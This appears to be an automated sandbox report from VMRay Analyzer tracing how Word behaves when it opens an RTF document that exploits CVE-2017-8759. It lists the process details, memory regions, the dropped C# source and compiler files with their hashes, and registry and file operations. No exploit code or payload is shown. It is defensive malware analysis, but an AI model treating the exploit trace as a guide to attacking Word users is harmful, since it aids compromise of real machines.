RTF Doc. Uses CVE-2017-8759 Exploit to Execute Code | Sequential Behavior
Try VMRay Analyzer
Monitored Processes
Process Graph
Behavior Information - Sequential View
Process #1: winword.exe
(Host: 244, Network: 20)
+
Information Value
ID #1
File Name c:\program files\microsoft office\root\office16\winword.exe
Command Line "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:31, Reason: Analysis Target
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:02:05
OS Process Information
+
Information Value
PID 0x9b0
Parent PID 0x52c (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A68
0x A64
0x A54
0x A30
0x A2C
0x A28
0x A24
0x A20
0x 9F4
0x 9DC
0x 9D0
0x 9CC
0x 9C4
0x 9BC
0x 9B4
0x B04
0x B08
0x B0C
0x B18
0x B24
0x B28
0x B2C
0x B54
0x B58
0x B5C
0x 0
0x B60
0x B64
0x B68
0x BD0
0x BD4
0x 95C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00043fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000150000 0x00150000 0x00150fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x00160fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x00170fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x0028ffff Private Memory Readable, Writable False False False
  • Region Actions
locale.nls 0x00290000 0x002f6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000300000 0x00300000 0x00306fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000310000 0x00310000 0x00311fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000320000 0x00320000 0x00320fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000330000 0x00330000 0x00330fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000340000 0x00340000 0x00341fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000350000 0x00350000 0x00351fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000360000 0x00360000 0x00362fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000370000 0x00370000 0x0037ffff Private Memory - False False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x0038ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000390000 0x00390000 0x0048ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000490000 0x00490000 0x00617fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000620000 0x00620000 0x007a0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000007b0000 0x007b0000 0x01baffff Pagefile Backed Memory Readable False False False
  • Region Actions
sortdefault.nls 0x01bb0000 0x01e7efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000001e80000 0x01e80000 0x02272fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000002280000 0x02280000 0x0237ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002380000 0x02380000 0x02382fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000002390000 0x02390000 0x02392fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000023a0000 0x023a0000 0x023a2fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000023b0000 0x023b0000 0x023b2fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002400000 0x02400000 0x02407fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002410000 0x02410000 0x02411fff Pagefile Backed Memory Readable False False False
  • Region Actions
kernelbase.dll.mui 0x02420000 0x024dffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000024e0000 0x024e0000 0x024e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000024f0000 0x024f0000 0x0256ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002570000 0x02570000 0x02570fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002580000 0x02580000 0x02580fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002590000 0x02590000 0x02590fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002590000 0x02590000 0x0259efff Private Memory Readable, Writable True True False
private_0x00000000025a0000 0x025a0000 0x025a0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000025b0000 0x025b0000 0x025bffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000025c0000 0x025c0000 0x0269efff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000026a0000 0x026a0000 0x026c7fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000026d0000 0x026d0000 0x0273afff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002720000 0x02720000 0x02721fff Private Memory Readable, Writable True True False
pagefile_0x0000000002740000 0x02740000 0x02744fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002750000 0x02750000 0x02750fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000002760000 0x02760000 0x02760fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000002770000 0x02770000 0x02770fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002780000 0x02780000 0x02781fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000002790000 0x02790000 0x0279ffff Private Memory Readable, Writable False False False
  • Region Actions
devobj.dll 0x027a0000 0x027b9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msxml6r.dll 0x027c0000 0x027c0fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000027d0000 0x027d0000 0x027d0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x00000000027e0000 0x027e0000 0x028dffff Private Memory Readable, Writable False False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db 0x028e0000 0x028fefff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002900000 0x02900000 0x02900fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002910000 0x02910000 0x0298ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002990000 0x02990000 0x02991fff Pagefile Backed Memory Readable False False False
  • Region Actions
c_1255.nls 0x029a0000 0x029b0fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000029d0000 0x029d0000 0x029dffff Private Memory Readable, Writable False False False
  • Region Actions
segoeuil.ttf 0x029e0000 0x02a30fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002a10000 0x02a10000 0x02a10fff Private Memory Readable, Writable True True False
private_0x0000000002a20000 0x02a20000 0x02a20fff Private Memory Readable, Writable True True False
private_0x0000000002a20000 0x02a20000 0x02a3efff Private Memory Readable, Writable True True False
private_0x0000000002a30000 0x02a30000 0x02a30fff Private Memory Readable, Writable True True False
private_0x0000000002a50000 0x02a50000 0x02b4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002b50000 0x02b50000 0x02b6ffff Private Memory - False False False
  • Region Actions
private_0x0000000002b80000 0x02b80000 0x02c7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002c70000 0x02c70000 0x02c70fff Private Memory Readable, Writable True True False
private_0x0000000002c80000 0x02c80000 0x02e7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002e80000 0x02e80000 0x02fb1fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002e80000 0x02e80000 0x02f7ffff Private Memory Readable, Writable True True False
private_0x0000000002f80000 0x02f80000 0x02f80fff Private Memory Readable, Writable True True False
private_0x0000000002f90000 0x02f90000 0x02f90fff Private Memory Readable, Writable True True False
private_0x0000000002fa0000 0x02fa0000 0x02fa0fff Private Memory Readable, Writable True True False
private_0x0000000002fa0000 0x02fa0000 0x02faffff Private Memory Readable, Writable True True False
private_0x0000000002fb0000 0x02fb0000 0x02fb0fff Private Memory Readable, Writable True True False
private_0x0000000002fc0000 0x02fc0000 0x030bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030c0000 0x030c0000 0x030defff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030e0000 0x030e0000 0x031dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000031e0000 0x031e0000 0x032dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000032e0000 0x032e0000 0x033dffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000033e0000 0x033e0000 0x03bdffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003be0000 0x03be0000 0x03ddffff Private Memory Readable, Writable False False False
  • Region Actions
staticcache.dat 0x03de0000 0x0470ffff Memory Mapped File Readable False False False
  • Region Actions
segoeui.ttf 0x04710000 0x0478efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004790000 0x04790000 0x04790fff Private Memory Readable, Writable True True False
private_0x00000000047a0000 0x047a0000 0x0489ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000048a0000 0x048a0000 0x0499ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000049a0000 0x049a0000 0x049a0fff Private Memory Readable, Writable True True False
private_0x00000000049b0000 0x049b0000 0x04aaffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004ab0000 0x04ab0000 0x04acffff Private Memory - False False False
  • Region Actions
private_0x0000000004af0000 0x04af0000 0x04beffff Private Memory Readable, Writable False False False
  • Region Actions
seguisb.ttf 0x04bf0000 0x04c53fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004c60000 0x04c60000 0x04c6ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004c90000 0x04c90000 0x04c90fff Private Memory Readable, Writable True True False
private_0x0000000004ca0000 0x04ca0000 0x04ca0fff Private Memory Readable, Writable True True False
private_0x0000000004cb0000 0x04cb0000 0x04cb0fff Private Memory Readable, Writable True True False
private_0x0000000004cc0000 0x04cc0000 0x04cc0fff Private Memory Readable, Writable True True False
private_0x0000000004cd0000 0x04cd0000 0x04dcffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004dd0000 0x04dd0000 0x04dd0fff Private Memory Readable, Writable True True False
private_0x0000000004de0000 0x04de0000 0x04de0fff Private Memory Readable, Writable True True False
private_0x0000000004df0000 0x04df0000 0x04df0fff Private Memory Readable, Writable True True False
private_0x0000000004e00000 0x04e00000 0x04e7ffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000004e80000 0x04e80000 0x0567ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005680000 0x05680000 0x05680fff Private Memory Readable, Writable True True False
private_0x0000000005690000 0x05690000 0x05690fff Private Memory Readable, Writable True True False
private_0x00000000056a0000 0x056a0000 0x056a0fff Private Memory Readable, Writable True True False
private_0x00000000056b0000 0x056b0000 0x056b0fff Private Memory Readable, Writable True True False
private_0x00000000056c0000 0x056c0000 0x056c0fff Private Memory Readable, Writable True True False
private_0x00000000056d0000 0x056d0000 0x056d0fff Private Memory Readable, Writable True True False
private_0x00000000056e0000 0x056e0000 0x057dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000057e0000 0x057e0000 0x058dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000058e0000 0x058e0000 0x058e0fff Private Memory Readable, Writable True True False
private_0x00000000058e0000 0x058e0000 0x058fefff Private Memory Readable, Writable True True False
private_0x00000000058f0000 0x058f0000 0x058f0fff Private Memory Readable, Writable True True False
private_0x0000000005900000 0x05900000 0x05900fff Private Memory Readable, Writable True True False
private_0x0000000005910000 0x05910000 0x05910fff Private Memory Readable, Writable True True False
private_0x0000000005920000 0x05920000 0x05920fff Private Memory Readable, Writable True True False
private_0x0000000005930000 0x05930000 0x059affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000059b0000 0x059b0000 0x059b0fff Private Memory Readable, Writable True True False
private_0x00000000059c0000 0x059c0000 0x059c0fff Private Memory Readable, Writable True True False
private_0x00000000059d0000 0x059d0000 0x05a4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005a50000 0x05a50000 0x05a50fff Private Memory Readable, Writable True True False
private_0x0000000005a50000 0x05a50000 0x05a6efff Private Memory Readable, Writable True True False
private_0x0000000005a60000 0x05a60000 0x05a60fff Private Memory Readable, Writable True True False
private_0x0000000005a70000 0x05a70000 0x05a70fff Private Memory Readable, Writable True True False
private_0x0000000005a80000 0x05a80000 0x05a8ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005a90000 0x05a90000 0x05e8ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000005e90000 0x05e90000 0x06e8ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000006e90000 0x06e90000 0x06e90fff Private Memory Readable, Writable True True False
private_0x0000000006e90000 0x06e90000 0x06eb0fff Private Memory Readable, Writable True True False
private_0x0000000006ea0000 0x06ea0000 0x06ea0fff Private Memory Readable, Writable True True False
private_0x0000000006eb0000 0x06eb0000 0x06eb0fff Private Memory Readable, Writable True True False
private_0x0000000006ec0000 0x06ec0000 0x06ec0fff Private Memory Readable, Writable True True False
arial.ttf 0x06f40000 0x06ffcfff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000007000000 0x07000000 0x0701efff Private Memory Readable, Writable True True False
private_0x0000000007030000 0x07030000 0x070affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000070b0000 0x070b0000 0x074affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000075b0000 0x075b0000 0x076affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000076b0000 0x076b0000 0x07eaffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000007eb0000 0x07eb0000 0x082b0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000082c0000 0x082c0000 0x086c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000086d0000 0x086d0000 0x08ad0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000008ae0000 0x08ae0000 0x08f9ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000008fa0000 0x08fa0000 0x0939ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000009400000 0x09400000 0x0941ffff Private Memory - True True False
private_0x0000000009530000 0x09530000 0x0962ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000099b0000 0x099b0000 0x09aaffff Private Memory Readable, Writable True True False
private_0x0000000009ee0000 0x09ee0000 0x09fdffff Private Memory Readable, Writable True True False
private_0x0000000009fe0000 0x09fe0000 0x0a0dffff Private Memory Readable, Writable True True False
private_0x000000000a130000 0x0a130000 0x0a1affff Private Memory Readable, Writable True True False
private_0x000000000a320000 0x0a320000 0x0a39ffff Private Memory Readable, Writable, Executable True True False
private_0x000000000a3a0000 0x0a3a0000 0x0a4a0fff Private Memory Readable, Writable True True False
private_0x000000000a570000 0x0a570000 0x0a57ffff Private Memory Readable, Writable True True False
private_0x0000000022580000 0x22580000 0x22c4ffff Private Memory Readable, Writable True True False
private_0x00000000230b0000 0x230b0000 0x231affff Private Memory Readable, Writable True True False
private_0x00000000231b0000 0x231b0000 0x2341ffff Private Memory Readable, Writable True True False
private_0x00000000233a0000 0x233a0000 0x2341ffff Private Memory Readable, Writable True True False
private_0x0000000023740000 0x23740000 0x2394ffff Private Memory Readable, Writable True True False
private_0x00000000375f0000 0x375f0000 0x375fffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x000000006fff0000 0x6fff0000 0x6fffffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
osppc.dll 0x74d60000 0x74d92fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable False False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable False False False
  • Region Actions
winword.exe 0x13f660000 0x13f83afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007febe310000 0x7febe310000 0x7febe31ffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
chart.dll 0x7fee4420000 0x7fee4f18fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
riched20.dll 0x7fee4f20000 0x7fee5142fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwrite.dll 0x7fee5390000 0x7fee550dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
d3d10warp.dll 0x7fee5510000 0x7fee56dffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msptls.dll 0x7fee56e0000 0x7fee584ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msointl.dll 0x7fee5850000 0x7fee59cafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msores.dll 0x7fee59d0000 0x7feea80efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso99lres.dll 0x7feea810000 0x7feeb130fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso.dll 0x7feeb140000 0x7feec41bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso99lwin32client.dll 0x7feec420000 0x7feecbebfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso40uiwin32client.dll 0x7feecbf0000 0x7feed4dafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso30win32client.dll 0x7feed4e0000 0x7feed957fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso20win32client.dll 0x7feed960000 0x7feedc63fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oart.dll 0x7feedc70000 0x7feeeddbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
d3d11.dll 0x7feeede0000 0x7feeeea5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wwlib.dll 0x7feeeeb0000 0x7fef124efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x7fef13f0000 0x7fef1488fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso40uires.dll 0x7fef1490000 0x7fef1797fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoree.dll 0x7fef1910000 0x7fef197efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wwintl.dll 0x7fef1980000 0x7fef1a3bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mlang.dll 0x7fef1aa0000 0x7fef1adafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
npmproxy.dll 0x7fef3c70000 0x7fef3c7bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winspool.drv 0x7fef4210000 0x7fef4280fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msxml6.dll 0x7fef49b0000 0x7fef4ba1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-file-l1-2-0.dll 0x7fef5310000 0x7fef5312fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-processthreads-l1-1-1.dll 0x7fef5320000 0x7fef5322fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-synch-l1-2-0.dll 0x7fef5330000 0x7fef5332fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-localization-l1-2-0.dll 0x7fef5370000 0x7fef5372fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-file-l2-1-0.dll 0x7fef5380000 0x7fef5382fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
api-ms-win-core-timezone-l1-1-0.dll 0x7fef5550000 0x7fef5552fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ucrtbase.dll 0x7fef55a0000 0x7fef5691fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimg32.dll 0x7fef5850000 0x7fef5856fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
c2r64.dll 0x7fef5860000 0x7fef5988fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
appvisvstream64.dll 0x7fef5990000 0x7fef5a09fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007ff00050000 0x7ff00050000 0x7ff0005ffff Private Memory - True True False
private_0x000007ff00100000 0x7ff00100000 0x7ff0010ffff Private Memory - True True False
private_0x000007ff00110000 0x7ff00110000 0x7ff0017ffff Private Memory - True True False
private_0x000007ff00180000 0x7ff00180000 0x7ff0018ffff Private Memory - True True False
private_0x000007ff00190000 0x7ff00190000 0x7ff0019ffff Private Memory - True True False
private_0x000007ffffec0000 0x7ffffec0000 0x7ffffecffff Private Memory Readable, Writable, Executable True True False
private_0x000007ffffed0000 0x7ffffed0000 0x7fffff5ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff66000 0x7fffff66000 0x7fffff67fff Private Memory Readable, Writable True True False
private_0x000007fffff68000 0x7fffff68000 0x7fffff69fff Private Memory Readable, Writable True True False
private_0x000007fffff6a000 0x7fffff6a000 0x7fffff6bfff Private Memory Readable, Writable True True False
private_0x000007fffff6c000 0x7fffff6c000 0x7fffff6dfff Private Memory Readable, Writable True True False
private_0x000007fffff6e000 0x7fffff6e000 0x7fffff6ffff Private Memory Readable, Writable True True False
private_0x000007fffff70000 0x7fffff70000 0x7fffff71fff Private Memory Readable, Writable True True False
private_0x000007fffff72000 0x7fffff72000 0x7fffff73fff Private Memory Readable, Writable True True False
private_0x000007fffff74000 0x7fffff74000 0x7fffff75fff Private Memory Readable, Writable True True False
private_0x000007fffff76000 0x7fffff76000 0x7fffff77fff Private Memory Readable, Writable True True False
private_0x000007fffff78000 0x7fffff78000 0x7fffff79fff Private Memory Readable, Writable True True False
private_0x000007fffff7a000 0x7fffff7a000 0x7fffff7bfff Private Memory Readable, Writable True True False
For performance reasons, the remaining 264 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\aetadzjz\desktop\logo.cs 1.07 KB (1098 bytes) MD5: 667a8968a36880dc4147d2ce00c64b30
SHA1: 48233228f9babdd3bcac5b85d5ae258f91204f7e
SHA256: 8aea15951d21f30f44a8d7499472b62473203959659eeb2b9059b64698deacfd 		False
c:\users\aetadzjz\appdata\local\temp\91rxrejg.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\aetadzjz\appdata\local\temp\91rxrejg.err 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\aetadzjz\appdata\local\temp\91rxrejg.0.cs 1.08 KB (1101 bytes) MD5: 3992ea6c0751d769815a98c4cffcadce
SHA1: 6ba244d7eb6a6facd2b4c4e946e26987d2336e8b
SHA256: b12a34c289c97db64f4267e5c67b70f4fefedfe28ae6527e7721a6ef3e4e0adc 		False
c:\users\aetadzjz\appdata\local\temp\91rxrejg.cmdline 0.28 KB (288 bytes) MD5: 8d42a6a6ddda3cb8546ef4cb888dbfa8
SHA1: 2024365b4311bc93867119ceee7c876683fef607
SHA256: f0d80af454b0e9060f13236c0827a4df63d61ac4964a174c999f4aa2895ff00e 		False
c:\users\aetadzjz\appdata\local\temp\91rxrejg.out 0.37 KB (379 bytes) MD5: 51bfb6f473aa25324ee1ed9830ca806e
SHA1: f1fae130030df5b4dff15ed820ca35665886ea98
SHA256: 60a57285c3ccbfa3f03f050681e54c27de4ef1766fe6151104a919b7f7c8fa2e 		False
Threads
Thread 0x9b4
(Host: 113, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly\, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\system32, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows, type = file_attributes True 1
Fn
File Create Directory C:\Windows\system32\com\SOAPAssembly False 1
Fn
System Get Info type = Operating System False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\COM+ SOAP Services False 1
Fn
